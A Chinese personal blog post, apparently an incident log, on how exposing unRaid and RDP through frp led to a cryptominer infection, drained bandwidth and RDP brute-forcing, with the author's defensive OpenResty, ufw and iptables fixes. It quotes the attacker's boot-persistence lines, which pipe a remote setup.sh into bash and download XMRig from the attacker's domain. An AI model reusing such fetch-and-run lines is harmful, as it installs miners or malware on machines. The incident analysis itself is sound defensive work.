frp暴露unraid引发的安全事件
把 unRaid 通过云服务器的 frp 反向代理暴露到公网,确实方便,但代价是:unRaid 被植入了挖矿程序,云服务器也开始莫名跑流量。
2024/05/15:发现挖矿进程
今天突然听到 NAS 机箱内的风扇在狂转,明明没让它干啥活。执行 htop,发现 unRaid 里偷跑着 XMRig:
29587 root 20 0 2404M 276M 8 S 0.7 0.9 30:00.95 /tmp/test/xmrig --config=/tmp/test/config_background.json
2024/05/26:撤掉反代+加 HTTP Basic Auth
直接取消 frp 反向代理之后,异常就没了。但在外面访问不到 unRaid 也不方便,于是改用 frp 自带的 HTTP Basic Auth 顶上。
2024/06/29:定位到持久化脚本
OpenResty 也加了账号密码验证,但 xmrig 还是偶尔在跑——说明还有持久化机制没清干净。
把 HDMI 接到 unRaid 主机上,终于看到了关键输出:
rl:(6) Could not resolve host: c2edadfeta.mengluo.bf
恶意脚本写进了 unRaid 启动 U 盘挂载的 /boot,这是会跟随每次启动执行的:
root@Tower:/boot# grep -r "mengluo" .
./config/go:curl https://c2edadfeta.mengluo.bf/setup.sh | bash
./config/pools/setup.sh:if ! curl -L --progress-bar "https://c2edadfeta.mengluo.bf/xmrig.tar.gz" -o /tmp/xmrig.tar.gz; then
清理:
/boot/config/go恢复成默认几行(仅保留/usr/local/sbin/emhttp &)- 删掉
/boot/config/pools/setup.sh(整文件被改写成下载 xmrig 的脚本)
#!/bin/bash
# Start the Management Utility
/usr/local/sbin/emhttp &
2024/08/27:云服务器流量异常
把云服务器换成"大宽带+有限流量"套餐,不到一天,流量从 1024 GB 掉到 973.8 GB。怀疑和上面 unRaid 这条暴露链以及 frps 自身被扫有关——frps 端口长期暴露在公网,容易成为被刷流量/被探测的入口。
排查思路:
iftop:实时看哪个 IP 在吃流量,异常 IP 直接进防火墙iftop看本机异常出站端口,再lsof反查是哪个进程nethogs:按进程显示带宽占用,带宽突然飙升时最快能定位到 PID/用户/路径/proc/net/dev:每个网络接口的统计,适合写脚本持续监控,异常即时告警
到 2024/11/09:1.6T 流量在一天内被打光。所以光靠加 Basic Auth 还不够,必须收紧防火墙白名单。
2026/05/24:RDP 也走 frp 后被脚本爆破
Windows RDP 也通过 frp 暴露出去之后,事件查看器里堆满 4625 登录失败,有人在脚本爆破。
关键点:frp 反代 TCP 时,Windows 看到的源 IP 全是 127.0.0.1,挡不住真实攻击者——IPBan/RDPGuard、Windows 防火墙按源 IP 封禁这一套全部失效。防御只能放在 frps 这台 Ubuntu 上,这里 INPUT 链能看到真实公网 IP,而且攻击流量在进隧道前就拦下,顺带省家宽带宽。
不想为每台访问设备额外装 frpc 客户端,所以直接复用已经在跑的 OpenResty——stream 模块 + Lua + shared dict 按 IP 做速率限制并自动续期封禁,等价于自建一个轻量 fail2ban。
架构调整:frps 把 RDP 的 remotePort 改到内部端口 3389,OpenResty stream 监听公网 33890 转发过去,ufw 放 33890、堵 3389 外部访问。
ufw allow 33890/tcp # OpenResty stream 公网入口
ufw deny 3389/tcp # frps 监听的内部端口,堵公网直连
# 如果之前放过 3389,先删掉旧规则
ufw status numbered # 找到旧的 "ALLOW IN 3389/tcp" 序号
ufw delete <序号>
ufw 默认不过滤 lo 接口,所以 deny 3389/tcp 只挡公网,OpenResty → 127.0.0.1:3389 的回环转发不受影响。
nginx.conf 顶层加 stream {}(和 http {} 平级,不是嵌套):
stream {
lua_shared_dict rdp_hits 10m;
lua_shared_dict rdp_ban 10m;
server {
listen 33890;
preread_by_lua_block {
local ip = ngx.var.remote_addr
local hits = ngx.shared.rdp_hits
local ban = ngx.shared.rdp_ban
-- 已封禁:拒绝,并续期 5 分钟(只要他还在敲就一直续)
if ban:get(ip) then
ban:set(ip, true, 300)
return ngx.exit(ngx.ERROR)
end
-- 60s 窗口计数,超 30 就封 5 分钟
local count = hits:incr(ip, 1, 0, 60)
if count and count > 30 then
ban:set(ip, true, 300)
ngx.log(ngx.WARN, "[rdp] BAN ip=", ip, " count=", count)
return ngx.exit(ngx.ERROR)
end
}
proxy_pass 127.0.0.1:3389;
proxy_timeout 4h; # RDP 长连接,别让 nginx 主动断
proxy_connect_timeout 5s;
}
}
openresty -t && systemctl reload openresty 生效。
要点:
lua_shared_dict必须写在stream {}里,和http {}里的 dict 完全隔离。preread_by_lua_block在 TCP 握手后、转发前执行,被ngx.exit(ngx.ERROR)拒掉的连接 frps 那端无感知,RDP 完全屏蔽。- shared dict 是多 worker 共享的;reload 会清空,但攻击者下一分钟会再次被封,影响不大。
- 想看 / 手动放行被封 IP,在
http {}里另起一个listen 127.0.0.1:9999的小接口,调用ngx.shared.rdp_ban:get_keys(0)列出、:delete(ip)放行即可。 - 想做"屡犯加重"(类似 fail2ban
bantime.increment),在ban:set之前读一个历史计数 dict,按次数指数延长 TTL,加 10 行 Lua。
防御工具备忘
UFW
默认入站全关、出站全开。规则从上往下匹配,特定 IP 的限制要放在通用规则之前,所以经常要用 ufw insert。
ufw status numbered # 查看规则及序号
ufw enable / disable
ufw allow 22/tcp
ufw allow 443 # 不指定协议,就同时放行TCP、UDP
ufw allow 80/tcp
ufw allow 3389/tcp
ufw allow 7000/tcp # frps
ufw reset # 规则重置
服务器跑了 frps,别把 frp 客户端所在的家宽公网 IP 给封了。客户端确认自己的公网 IP:
curl ifconfig.me
iptables 重置
iptables 规则一旦写乱就很难收拾,记一下恢复命令:
iptables -P INPUT ACCEPT # 先恢复默认放行,免得把自己锁外面
iptables -F # 清空默认链规则
iptables -X # 清空自定义链
iptables -Z # 计数器清零
iptables -L -n --line-numbers
iptables 按字符串/IP 屏蔽
# 按域名字符串屏蔽(进出双向)
iptables -A OUTPUT -m string --string "fbsv.net" --algo bm --to 65535 -j DROP
iptables -A INPUT -m string --string "fbsv.net" --algo bm --to 65535 -j DROP
# 删除规则把 -A 换成 -D
# 按 IP 段屏蔽
iptables -A INPUT -s 198.18.0.0/24 -j REJECT
iptables -A OUTPUT -d 198.18.0.0/24 -j REJECT
iptables -A FORWARD -s 198.18.0.0/24 -j REJECT
iptables -A FORWARD -d 198.18.0.0/24 -j REJECT
教训
- frp 反代 Web 服务前一定要单独加一层认证(frp Basic Auth、OpenResty/Nginx auth_basic、或前置 SSO),不能默认信任后端 Web 自带的登录页——unRaid 这种就是反例。
- 被植入过的机器要查持久化点,unRaid 的
/boot/config/go是首要嫌疑;通用 Linux 还要查 cron、systemd unit、~/.bashrc、/etc/profile.d/、/etc/rc.local。 - 公网入口尽量收窄白名单,frps 监听端口、SSH 都建议只放行已知客户端 IP,而不是 0.0.0.0/0。
- 非 HTTP 的 TCP 反代(RDP、SSH 等)用不了 frp Basic Auth,被反代服务那一端看到的源 IP 全是 frpc 本地地址,本机的反爆破工具失效。要在 frps 上用 OpenResty stream / fail2ban 按真实源 IP 做速率限制 + 自动封禁。
- 实时监控
/proc/net/dev或部署 nethogs/iftop 告警,流量异常要在小时级别发现而不是用量见底才察觉。